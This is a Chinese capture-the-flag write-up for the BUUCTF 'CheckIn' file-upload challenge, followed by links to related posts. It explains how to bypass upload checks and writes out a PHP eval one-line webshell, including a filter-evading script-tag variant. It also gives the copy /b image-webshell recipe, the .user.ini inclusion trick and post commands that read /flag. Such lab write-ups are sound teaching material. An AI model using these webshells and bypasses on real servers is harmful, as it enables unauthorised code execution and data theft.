BUUCTF--checkin
文件上传
文件上传一般验证方式:
1.本地js验证(客户端)
2.MIME验证(服务端)
3.拓展名验证(服务端)
4.脚本内容(文件头)验证(服务端)
通常会用到exif_imagetype()函数,这个函数会读取图片头并返回一个数组
绕过方法:
1.本地js验证
方法很多,直接f12删除限制的代码再提交表单
2.mime验证
抓包修改content-type的内容就行了 一般这个验证对应得验证代码如下
$_FILES['upfile']['type'] == 'image/gif' //png、jpg.....
3.拓展名验证
多找一些,尝试找到有没有服务器漏掉得,比如php5,php7
大小写看能否能绕过
0x00绕过
4.文件头验证
修改文件头
JPG :FF D8 FF E0 00 10 4A 46 49 46 //参考文章https://blog.csdn.net/weixin_44077544/article/details/102688564
PNG: 89 50 4E 47 //参考文章https://blog.csdn.net/weixin_44077544/article/details/102688564
GIF(相当于文本的GIF89a):47 49 46 38 39 61 //参考文章https://blog.csdn.net/weixin_44077544/article/details/102688564
上传图片马
###但注意一个问题,上传图片马直接访问还是不能执行代码,因为根本不会调用php解析器去解析,一般要配合文件包含漏洞,或者是解析漏洞
##文件上传漏洞一般会和解析漏洞相结合,比如iis6.0就有一个漏洞会把.cer文件当作php执行,这种类似得解析漏洞可以在网上寻找
参考一片文件上传得绕过博客:
https://blog.csdn.net/ncafei/article/details/53401961
回到这道题:
随手丢一张图片,发现返回一串数组
可以猜测这里采用得是文件头验证,可以制作图片马绕过。
但是,图片马需要配合解析漏洞或者是文件包含漏洞,这里用到.uesr.ini配置文件制造了一个文件漏洞 //这道题没有限制 相似漏洞还有apache得.htaccess文件修改解析规则
https://wooyun.js.org/drops/user.ini文件构成的PHP后门.html
推荐这个文章,里面讲到怎么利用
上传.user.ini文件 ##但是注意这里需要伪造文件头

上传一句话图片木马
第一次一句话我写得<?php @eval($_POST['a'])?>

发现 <?被过滤 ,这里只需要还一句话就行了 <script language="php">eval($_POST['a']);</script>

//图片转载 kk师傅 https://www.yuque.com/kkdlong/arhmr1/rv2kpf#MjehS
上传后上传图片马 制作方法
cmd copy /b 1.jpg+1.txt test.jpg //注意图片名要和user.ini里面得文件名相同
然后上传
然后直接菜刀连接拿到答案

或者直接输入命令 post a=var_dump(scandir("/"));

a=var_dump(file_get_contents("/flag"));

BUUCTF--checkin的更多相关文章
- BUUCTF | [SUCTF 2019]CheckIn
感觉这题师傅们已经写得很详细了,我就做一个思路梳理吧,顺道学一波.user.ini 步骤: 1.上传一个“.user.ini”文件 2.上传自己的马“a.jpg” 3.菜刀连接 "http: ...
- BUUCTF 部分wp
目录 Buuctf crypto 0x01传感器 提示是曼联,猜测为曼彻斯特密码 wp:https://www.xmsec.cc/manchester-encode/ cipher: 55555555 ...
- BUUCTF知识记录
[强网杯 2019]随便注 先尝试普通的注入 发现注入成功了,接下来走流程的时候碰到了问题 发现过滤了select和where这个两个最重要的查询语句,不过其他的过滤很奇怪,为什么要过滤update, ...
- BUUCTF Crypto_WP(2)
BUUCTF Crypto WP 几道密码学wp [GXYCTF2019]CheckIn 知识点:Base64,rot47 下载文件后,发现一个txt文件,打开发现一串base64,界面之后出现一串乱 ...
- 奇葩问题:This file could not be checked in because the original version of the file on the server was moved or deleted. A new version of this file has been saved to the server, but your check-in comments were not saved
"This file could not be checked in because the original version of the file on the server was m ...
- 持续集成之戏说Check-in Dance
尽管Thoughtworks的首席科学家Martion folwer 为“持续集成 ” 下了定义,但由于自身背景与经历的不同,每个人对其都有不同的理解.从狭义上讲,持续集成可以认为是一种基于某种或者某 ...
- TFS二次开发06——签入(CheckIn)
一个Item 就是一个文件或文件夹 using Microsoft.TeamFoundation.Client; using Microsoft.TeamFoundation.VersionContr ...
- 持续集成之戏说Check-in Dance(转)
add by zhj: 先说一下持续集成的定义,这是ThoughtWorks首席科学家Martin Fowler在<持续集成>第二版中给出的,“持续集成是一种软件开发实践.在持续集成中,团 ...
- because its MIME type ('text/html') is not a supported stylesheet MIME type, and strict MIME checkin
1 前言 浏览器报错误(chrome和firefox都会):because its MIME type ('text/html') is not a supported stylesheet MIME ...
- 刷题记录:[BUUCTF 2018]Online Tool
目录 刷题记录:[BUUCTF 2018]Online Tool 一.知识点 1.escapeshellarg和escapeshellcmd使用不当导致rce 刷题记录:[BUUCTF 2018]On ...
随机推荐
- [b0042] python 归纳 (二七)_gui_tkinter_基本使用
# -*- coding: utf-8 -*- """ 学习 Tkinter画图基本控件使用 逻辑: 放几个 输入控件.点击按钮,将输入控件内容打印出来 使用: 1. 创 ...
- 内置模块:time, datetime, random, json, pickle, os, sys, hashlib, collections, re
1.time模块 import time time.time() # 时间戳 浮点数 time.sleep() # 睡眠 time.gmtime()/time.localtime() #结构化时间 数 ...
- Centos系统配置bond0
版权声明:本文为博主原创文章,支持原创,转载请附上原文出处链接和本声明. 本文链接地址:https://www.cnblogs.com/wannengachao/p/11942254.html 1.查 ...
- IntelliJ IDEA 版本控制 GIT(四)
1. 从GitLab或GitGitHub中检出项目 VCS - Checkout from Version Control - Git 2. 更新项目 第一种:更新当前窗口下的整个项目 第二种:更新相 ...
- [分布式学习]消息队列之rocketmq笔记
文档地址 RocketMQ架构 哔哩哔哩上的视频 mq有很多,近期买了<分布式消息中间件实践>这本书,学习关于mq的相关知识.mq大致有有4个功能: 异步处理.比如业务端需要给用户发送邮件 ...
- Javal连载4-注释&class与public class区别
一.Java注释 1.作用:不会编译倒.class文件之中:增强可读性 2.分类: (1)单行注释(只注释当前行):// (2)多行注释: /* 注释 注释 注释 */ (3)javadoc注释 /* ...
- gradle 多模块Springboot项目 compile project引用其他模块的坑
本来以为子项目中compile project(':xxx'),就能引用其他模块了,因为之后idea也没在引用时候标红 然而我gradle build的时候,居然各种找不到引用模块的类 最后在stac ...
- 解决 cannot find reference 'LSHForest' in '__init__.py'
from sklearn.neighbors import LSHForest cannot find reference 'LSHForest' in '__init__.py'报错 pip3 li ...
- 【Linux命令】Linux命令后面所接选项和参数的区别
Linux命令后面所接选项和参数的区别 在使用Linux命令时,有时候后面会跟一些"选项"(options)或"参数"(agruments) 命令格式为: #中 ...
- Vue全选和全不选
HTML代码: <script src="https://cdn.staticfile.org/vue/2.2.2/vue.min.js"></script> ...